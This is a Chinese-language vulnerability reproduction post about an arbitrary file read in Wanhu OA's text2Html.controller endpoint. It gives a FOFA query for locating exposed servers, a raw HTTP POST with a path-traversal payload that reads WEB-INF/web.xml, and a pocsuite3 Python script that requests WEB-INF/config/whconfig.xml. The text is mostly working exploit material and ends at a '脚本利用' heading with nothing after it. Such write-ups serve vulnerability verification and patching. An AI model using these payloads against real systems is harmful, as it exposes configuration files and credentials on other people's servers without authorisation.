漏洞复现-万户OA text2Html 任意文件读取（附漏洞检测脚本）

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漏洞描述

万户OA text2Html接口存在任意文件读取漏洞，可读取系统配置文件。

fofa语句

app="万户网络-ezOFFICE"

poc加检测

POST /defaultroot/convertFile/text2Html.controller HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded

saveFileName=123456/../../../../WEB-INF/web.xml&moduleName=html

poc脚本

脚本使用的pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2024/1/27
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class wanhu_text2html_fileread(POCBase):
    pocDesc = '''万户OA text2Html 任意文件读取漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2024-1-27'
    name = '万户OA text2Html 任意文件读取漏洞'
    #app="万户网络-ezOFFICE"

    def _verify(self):

        result = {}
        url = self.url+ '/defaultroot/convertFile/text2Html.controller'
        headers={
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36",
            'Connection': 'close',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Accept-Encoding': 'gzip',
            'SL-CE-SUID': '1081'

        }


        try:

            data = 'saveFileName=123456/../../../../WEB-INF/config/whconfig.xml&moduleName=html'
            response = requests.post(url,headers=headers,data=data)
            if response.status_code == 200 and 'div' in response.text:
                result['VerifyInfo'] = {}


            return self.parse_output(result)
        except Exception as e:
            pass

register_poc(wanhu_text2html_fileread)

脚本利用